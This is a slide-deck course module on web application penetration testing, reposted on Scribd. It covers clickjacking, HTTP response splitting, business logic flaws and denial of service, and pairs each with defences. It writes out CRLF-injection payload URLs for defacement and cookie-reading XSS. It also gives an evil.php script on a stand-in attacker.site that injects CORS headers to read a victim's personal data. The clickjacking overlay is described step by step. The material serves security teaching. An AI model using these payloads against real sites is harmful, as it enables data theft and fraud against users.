Scribd
Upload
9 views

Other Attacks

Uploaded by

es169371
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
9 views

Other Attacks

Uploaded by

es169371
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 110

11.1.

Clickjacking

11.2. HTTP Response Splitting

11.3. Business Logic Flow

11.4. Denial of Services

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Clickjacking is a technique, also known as User Interface (UI)
redressing, where an attacker tricks a victim into clicking on a
resource that is different from what they are actually
intending to click on (link, button, image, etc.).
Home

Share

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


This technique relies on legitimate features of the HTML
language and, in particular, advanced styling of web pages
through layers, overlapping elements
and opacity.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Technically, an attacker that wants to perform this attack
crafts a malicious HTML page. This page can contain two
overlapping layers, one malicious and the other the actual
target of the click.
The malicious layer is what is visible to the victim and
contains an apparently innocuous resource (it could be the
Play button of a video, for example) that the victim should
feel secure clicking on.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The target layer, included via an iframe, is invisible to the
victim and will contain the resource that will actually be
clicked. This layer usually contains a button or a link that will
perform an operation that the victim would be unwilling to
commit or perform under normal circumstances.
Let us see it in action in a practical example.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The attack comprises four steps:

Feasibility study

Building of a malicious web page

Spreading of the malicious page link

Waiting for the victim to click

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In this attack we will consider a fictitious web site named
“Vote for the company of the year”.
This web application, as the name suggests, democratically
collects votes from Internet users and uses them to elect a
winning company.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The company eLSFoo, one of the candidates for victory, will
use clickjacking techniques to trick unaware users into voting
for it.
The following page is the page from which users can vote for
the eLSFoo company.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Users can vote for eLSFoo company voluntarily by using the
specific button.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The attacker will build a malicious web page and will trick
their users into clicking the button, “Vote for eLSFoo”,
unwittingly.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In this step, the attacker analyzes the page containing the
target resource that he wants the victim to click.
The purpose of this step is to understand whether or not the
resource can be clickjacked. A necessary condition for this
purpose is that the target page can be included through an
iframe element inside any HTML pages.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


To verify this condition the attacker creates a simple test
HTML or PHP page (http://clickjacking.site/index.php in our
case) and includes the target page, using an iframe element,
by using the following code:

<html>
<body>
<frame src="[TargetPage]"> </frame>
<body>
</html>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


This is the code for our (attacker) page:

CSS style to make the


attacker page similar to
the target website

Load the target


page via iframe

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


If the resource to be clickjacked is visible on the test page, the
attack can be performed, otherwise the attack cannot be
performed due to one of several protection methods used by
the web application.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In the first case, the iframe appears inside the test.

This is the iframe

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In the second case, the iframe is not shown inside the test
page. Most likely, the web site, “Vote for the company of the
year”, has forbidden the vote page from being included in an
iframe therefore, we cannot perform clickjacking today.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The website achieved this through the X-Frame-Options
header that we will see later on.

The iframe cannot be


included

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Suppose that the iframe can be loaded. The attacker must
build a web page by combining two layers:

The layer corresponding to the “Vote


eLSFoo” web page (layer1)

The malicious layer (layer2)

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The layer corresponding to the “Vote eLSFoo” web page
(layer1) must be included through an iframe. This iframe must
be overlapped by the other layer (layer2) completely.
This can be performed by setting the value of the opacity
CSS property to 0.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The malicious layer, layer2, must be placed under layer1, in a
way that it is not clickable, yet is still visible to the targeted
user. This can be obtained by setting the z-index CSS
property to -1.
More importantly, this layer must have a resource that is
apparently clickable, and one that should entice the end user
into clicking it.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In our example, we have inserted a button reading: “Bring me
to Google”.
The victim will think that they are clicking on this button
however, they will be clicking on the Vote button instead.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The following image layer1
shows the overall z-index: 1;
malicious web page. opacity:0.2;

For sake of clarity we


did not make layer1
completely invisible so
that you can see how layer2
the two layers overlap. z-index: -1

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The CSS property opacity related to the iframe element
(layer1) has been set to 0.2 for you, but, in a real attack, it
would be 0.
By changing the opacity CSS property to 0, layer1 will be
completely hidden and the button: “Vote eLSFoo", although
invisible, will still be clickable.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The following screenshot shows what happens with the
opacity set to 0.
Only the button
"Bring me to Google"
is visible. Moreover,
if we click on it, we
will click on the
button "Vote eLSFoo".

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The reverse attack

It is important to know that the reverse is also possible. In


this case the attacker superposes a transparent screen on top
of the original website. This way the attacker can fool a user
into clicking on something (on the website) while they believe
they are doing something else on an unrelated website.
You can find an example of this attack here.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The reverse attack

In our previous scenario, the attacker web page will look like
the original one. The attacker can now insert any transparent
object above the page and lure the victim to click on any
"visible" element in the page.
The image in the next slide shows what happens.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The reverse attack

This time we
have set the
opacity of the
button to 0.2,
so you can spot
the difference.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In this step, the attacker will publish the link to his malicious
web page in order to induce people into clicking the “Bring
me to Google” button. Maybe a more enticing call to action
would be more appropriate but,
this is an educational example so
we will stick with this for now.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


This last step must be run by the victim.
After opening the malicious web page, the victim must click
on the seemingly innocuous button (in our case the Bring me
to Google button).
Once this occurs, eLSFoo will have obtained a new vote.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Clickjacking can be leveraged to perform a wide number of
attacks such as: forcing users to click on ads (leveraging
something like Facebook) or performing any action that only
requires clicking on a website.
The following are some real world vulnerabilities:
• LinkedIn • Joomla
• Google • Facebook

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Until a few years ago, clickjacking defenses were very difficult
to implement. Now however, browser specs include specific
methods to limit clickjacking, so let’s compare and contrast
the two defensive schools of thought:

• Tries to avoid clickjacking by using


The Old School JavaScript code

• HTTP response headers, Content Security


The Current School Policy, Browser Frame-Breaker

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


As stated on the previous slide, the necessary condition to
perform a clickjacking attack is that the page, including the
target resource to be clicked on, needs to be able to be
included through an iframe.
Without this condition, the attack cannot occur!

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The old school way uses JavaScript code to prevent a
document from being shown inside an iframe.
JavaScript code example put in the iframe:

<script>
if(top != window) {
top.location = window.location
}
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The previous code block acts like an iframe killer: if the
document containing that code is included as an iframe, it will
load itself in the parent browser window.
In other words, the browser window will contain only the
document itself and it will not be able to include any other
layers crafted by an attacker.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


This protection is weak at best, simply because the top level
window (the one which the iframe tried to change its
location) could prevent this change. An example of how to
accomplish this is by waiting for the DOM event
onbeforeunload to be triggered by the instruction
top.location inside the iframe.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Note that the top-level window is the malicious page, crafted
by the attacker, so it is under attacker control anyway.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Modern browsers support the X-Frame-Options header.
This header is sent over HTTP web server responses to
prevent a document from being shown inside an iframe.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


It can have two different values:

The document may be shown inside an iframe


SAME only if the container page (under the control of
the attacker) and the contained document share
ORIGIN the same origin.

The document may not be shown inside


DENY an iframe, regardless of the container’s
origin.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Note that the browser will ignore the X-Frame-Options
header if the loaded document contains the following meta
tag (the HTML meta tag overrides the HTTP header sent by
the web server):

<meta http-equiv="X-Frame-Options" content="deny">

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Let us look through a couple of examples that will better
explain how the X-Frame-Options works.

Example 1 Example 2

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Example 1

The page clickjack.html with the origin


www.attackersite.foo tries to include an iframe pointed to the
page /eLSFoo?company with the origin
www.voteforthecompanyoftheyear.foo.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


GET(http://www.voteforthecompanyoftheyear.foo/company?eLSFoo)

www.attackersite.foo www.voteforthecom
panyoftheyear.foo

iframe
/company?eLSFoo
clickjacking.html

HTTP Response Headers:


X-Frame-Options: SAME ORIGIN

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Due to the different origins, the X-Frame-Options header
provided by the voteforthecompanyoftheyear.foo server
forbids it.
Note the request is issued but, the page is not rendered.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Example 2

Similar to the previous example, the page clickjack.html ,


with the origin www.attackersite.foo tries to include an iframe
pointed to the page /eLSFoo?company ,with the origin
www.voteforthecompanyoftheyear.foo.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


GET(http://www.voteforthecompanyoftheyear.foo/company?eLSFoo)

www.attackersite.foo www.voteforthecom
panyoftheyear.foo

iframe
/company?eLSFoo
clickjacking.html

HTTP Response Headers

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Due to the absence of the X-Frame-Options header and
other types of protection, the document company will be
shown correctly through the iframe.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Clickjacking on the famous Facebook Like button is called,
Likejacking. In January of 2012, Facebook declared war on
companies that were taking advantage of the fraudulent
technique.
Some of these companies have faced legal challenges due to
fraudulent Likejacking activities.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Cursorjacking is a clickjacking technique that consists of using
a custom cursor icon to change the actual position of the
pointer, tricking users into clicking on something other than
what they intended to click on.
Browser security plugins (like NoScript) cannot detect this
sort of attack.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


You can find more about the clickjacking here:
• http://javascript.info/tutorial/clickjacking#defences-and-
the-ways-to-break-through
• Frame Busting

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
This type of Header Injection attack occurs when an attacker
sends arbitrary data to the server and this data is returned as
part of the HTTP response.
As the name suggests, the goal of the HTTP Response splitting
attack is to split the response into two parts by means of
special characters such as:
• CR (Carriage Return) – [ \r ]
• LF (Line Feed) – [ \n ]

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The use of these characters is strictly related to how the HTTP
protocol determines the beginning of a new HTTP response
header. This affects all browsers.
The goal of the attacker is to craft an HTTP response by
sending malicious input including the crafted headers and the
special delimiting characters.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The difference between this attack and a Header injection
attack is that we are not only injecting data into headers, but
also we are also creating a completely new HTTP Response
block with new headers!
A Header injection attack would add new Headers to the
current HTTP Response block.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Let’s use a simple example to explain HTTP Response
Splitting.
A web application puts User Input into one of the Response
Headers. This header is Set-Cookie. This is not uncommon,
especially when web applications want to track users’ data
through different visits. Since cookies are carried in the HTTP
Headers, this is a good place to look for such a vulnerability.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


This sample web application uses a GET input parameter
(URL) to track the last visited URL by the user.
This trackUrl.php page will respond with a Set-Cookie
containing the unsanitized content of the URL parameter.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


We have highlighted in red the reflected user input.
GET http://target.site/trackUrl.php?url=http://elsfoo.com

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Note that this typical scenario is vulnerable to HTTP response
splitting only if the input is not properly sanitized by the web
application.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Let us analyze the previous scenario. The web server does not
filter any of the special characters (CR and LF), so the attacker
can send arbitrary input a newly crafted HTTP response.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In this example, the attacker’s goal is to trick the browser into
thinking that there is a new HTTP Response that needs to be
interpreted.
This new Response can contain an arbitrary body, including
HTML, JavaScript and anything else the attacker wants to
include. Note that %0d and %0a represent the URL-encoding
of the special characters CR and LF.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


GET
http://target.site/trackUrl.php?url=http://elsfoo.com%0d%0aHTTP/1.1%2
0200%20OK%0d%0aContent%2dType:%20text/html%0d%0aContent%2dLength:%202
8%0d%0a%0d%0a<html><h1>Defaced</h1></html>

The image shows how


the injected parameter is
reflected within the
response headers.
28

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


As you can see, there are TWO HTTP responses. The web
browser will then display the second response and shows the
<html><h1>Defaced</h1></html> code.
Now that we know how this works, let us see a very simple
example of how an attacker can exploit this vulnerability.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


GET
http://target.site/trackUrl.php?url=http://elsfoo.com%0d%0aHTTP/1.
1%20200%20OK%0d%0aContent%2dType:%20text/html%0d%0aContent%2dLengt
h:%2039%0d%0a%0d%0a<script>alert(document.cookie)</script>

In the following example we


will perform an XSS attack
through HTTP Response
splitting. The second
response contains the code:
<script>
alert(document.cookie)
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Let us see this in action in our Web Browser. Moreover, let us
fire up Burp Suite in order to intercept the requests and the
responses. This is the request intercepted when we browse
the URL http://target.site/trackUrl.php?url=index.php:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The following is instead the response obtained by the server.
As we can see, Set-Cookie: lastUrl=index.php has been
set:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Let us see what happens when we use the previous attacker
payload. The following is the request we issue to the server:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


As we can see in the response, right after we set
http://elsfoo.com in the cookie, a new with our payload is
created and the XSS is reflected in our browser:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


HTML5 has introduced new origin headers to extend the
origin concept. The attacker can inject these headers into the
response and will be able to access the response body via
JavaScript (please refer to the earlier chapter on Same Origin
Policy).

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Suppose a webpage named getPersonalData.php returns the
personal data of the currently logged-in user and that the
page is vulnerable to HTTP response splitting (in the
trackingUrl parameter).
An attacker can build a malicious page with a crafted URL and
get the victim to open it, stealing his personal data.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


GET
http://target.site/getPersonalData.php?trackingUrl=http://elsfoo.c
om%0d%0aAccess-Control-Allow-Origin:%20<attackerSite>%0d%0aAccess-
Control-Allow-Credentials:%20true

The image shows the


payload used and the
injected response
headers.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Note that this time our goal is not to split the response but,
rather to actually inject a couple of new headers.
Let us dissect the attack.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The attacker owns a personal website and must build a
malicious page with this URL http://attacker.site/evil.php. The
attacker’s goal is to steal the victim’s personal data that
appears in the vulnerable webpage.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The malicious page (evil.php) will contain JavaScript that
performs a cross-domain AJAX request to the URL
http://target.site/getPersonalData.php?<payload>

to access the stolen data.


Under normal conditions, evil.php would not be able to
read the response content due to the Same Origin Policy.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The following is the code of evil.php:
<script>
function loadXMLDoc()
{
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("responseDiv").innerHTML=xmlhttp.responseText;
}
}

xmlhttp.open("GET","http://target.site/getPersonalData.php?trackingUrl=test%0d%0aAcces
s-Control-Allow-Origin:%20http://attacker.site%0d%0aAccess-Control-Allow-
Credentials:%20true",true);
xmlhttp.send();
}</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The web page getPersonalData.php returns the personal
data of the victim and the two origin headers (injected by the
attacker through the payload). Here indeed we can see the
response obtained by attacker.site/evil.php:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Although the attacker’s page is on a different origin
(http://attacker.site), it can access contents available
on the other origin (http://target.site) because the
attacker’s origin has been allowed through the HTTP origin
header
Access-Control-Allow-Origin: http://attacker.site

So, the malicious page can access (and steal) all the victim’s
personal data.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Indeed, as we can
see in the following
screenshot, we are
able to read the
content of the page
requested:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


As you already know, if the vulnerability does not exists, the
Cross-Origin Request will be blocked. Indeed if we try to
request getPersonalData?trackingUrl=test from
evil.php (without exploiting the Response Splitting
vulnerability), we will obtain the following error:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


As you can imagine, this type of attack requires that the
attacker sends a link (http://attacker.site/evil.php) to his
victim and that the victim opens it.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In this case, we are accessing personal data because there
was an open session between the user and the website
http://target.site/getPersonalData.php.
However, the attack will always allow the attacker to bypass
Same Origin Policy and read the contents of the AJAX request.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


http://target.site/getPersonalData.php?trackingUrl=test%0d%0aAc
cess-Control-Allow-Origin:%20http://attacker.site%0d%0aAccess-
Control-Allow-Credentials:%20true

The following image


shows the AJAX
request initiated by
the malicious page
evil.php.
HTTP Response Headers:
Access-Control-Allow-Origin: http://attacker.site
Access-Control-Allow-Credentials:true

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


The simplest way to defend against header injection is to
filter the input data and removing these characters from the
user input:
• CR (Carriage Return) – [ \r ]
• LF (Line Feed) – [ \n ]

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


These characters are only responsible for this type of attack
and they must be filtered if they will ever be reflected as part
of the HTTP response header.
Note that their URL-encoded form is %0d and %0a so beware
of any encoding going on in the application.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


PHP offers a safe function named header, used to send a raw
HTTP header. For example, if you want the page you are
developing to redirect to the page elsfoo.com, you should use
the following code:

<?php
header(“Location: elsfoo.com”);
die();
?>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Starting at PHP v5.1.4 both critical characters CR and LF have
been denied within the function header, so it is considered
safe against HTTP response splitting attacks; there is no need
to filter the CR and LF characters.
Before PHP v5.1.4, you must explicitly filter the special
characters from all user input.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
In the previous chapters we analyzed vulnerabilities due to
missing or broken security controls (for example, inside the
authentication mechanism).
Business Logic flaws are vulnerabilities involving application
logic and they exist regardless of any broken controls.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Due to their nature, this type of vulnerability is very difficult
to find and there is no scanner that provides this type of
feature.
The best way to detect them is by analyzing the transaction
chart of all the processes that the web application provides.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In this example, we will have a look at a vulnerable bank web
application permitting logged-in users to perform a money
transfer.
The money transfer process suffers from a logic flaw because
the process begins without checking whether funds are
available in the sender’s checking account.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


This is the transaction chart (flowchart) of
the money transfer process. Note that the
vulnerability is trivial so that it’s easy to
understand.
In real world attacks, logic flaws are more
complicated, but the concept is always the
same: an attacker uses legitimate process
flow to perform a malicious action.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Let us show a transaction chart
without the vulnerability.
This version of the money
transfer process includes an
important step: checking
whether there are enough
funds in the sender’s account.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Finding this type of vulnerability is difficult. A web developer
should statically analyze all processes which comprise his web
application and draw a transaction chart for each of them.
Finally, each process should be compliant to business rules
and specifications that should be available in the
requirements documentation.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Logic flaws will be visible when a transaction can be made to
permit a behavior that is not allowed by the web application
requirements.
Business developers use a similar approach to design their
processes.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
A Denial of Service (DoS) attack occurs when a system,
designed to provide a certain service, stops providing that
service to users, after receiving multiple malicious requests.
As you already know, Information Security can be broken
down into three essential features (CIA):
• Confidentiality
• Integrity
• Availability (the one targeted by DoS attacks)

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Web applications, as any other system, can be attacked via
DoS attacks. DoS attacks are difficult to prevent.
A typical DoS attack occurs when a web application receives
too many requests per second and the web server is unable
to respond to all of them. This generally occurs because
some server resource is overloaded (RAM, CPU, HD,
bandwidth, etc.).

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


There are many different types of DoS attacks that one can
perform. The attacker can target specific SQL functions,
Regular Expressions, Logic flaws and so on. Let us have a look
at a couple of these attacks.

DoS due to a huge DoS due to GREEDY


number of PAGES
REQUESTS

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


This type of attack occurs when a huge number of requests is
directed at the target web site and the web server cannot
process them all due to its physical limitations (mainly the
processor and memory).

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


When the attack is run by attackers in a distributed manner,
they call it a distributed DoS (DDoS).
DDoS attacks are the most difficult to prevent because their
origin cannot be isolated.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In the case of Greedy Pages, the attacker performs HTTP
requests to each page available on the target site (any script,
image, etc.) and analyzes the response time of each request.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Requests appearing to take a long time are marked as critical
requests and will be used to perform new requests.
The goal is, of course, taking down the system.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


In open source web applications, resource-hogs like scripts
running large SQL queries are well known.
An attacker can use these pages to perform many requests
with the goal of wearing down the web server resources and
grinding the site to a halt.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Due to the attack’s nature, defense is critical.
A reliable defense method does not exist but, the effects of
an attack can be mitigated by using some simple precautions.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Detecting
and blocking IP
malicious For example, a request blacklisting
requests coming from a user
that has already IP addresses or blocks
performed more than of botnets are well-
10,000 requests could known and can be
be marked as malicious blacklisted by the web
and dropped by the application.
web application.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Clickjacking Facebook Clickjacking

Linkeding Clickjacking Google Clickjacking

Joomla Clickjacking Clickjacking Defenses

Clickjacking Defenses 2 Frame Busting

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


HTTP Response splitting Business Logic Flaws

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Clickjacking

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015


Other Attacks
In these Other Attacks labs, you
can techniques and attacks
explained in the Other attacks
module of the course

Powered by TCPDF (www.tcpdf.org)


Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy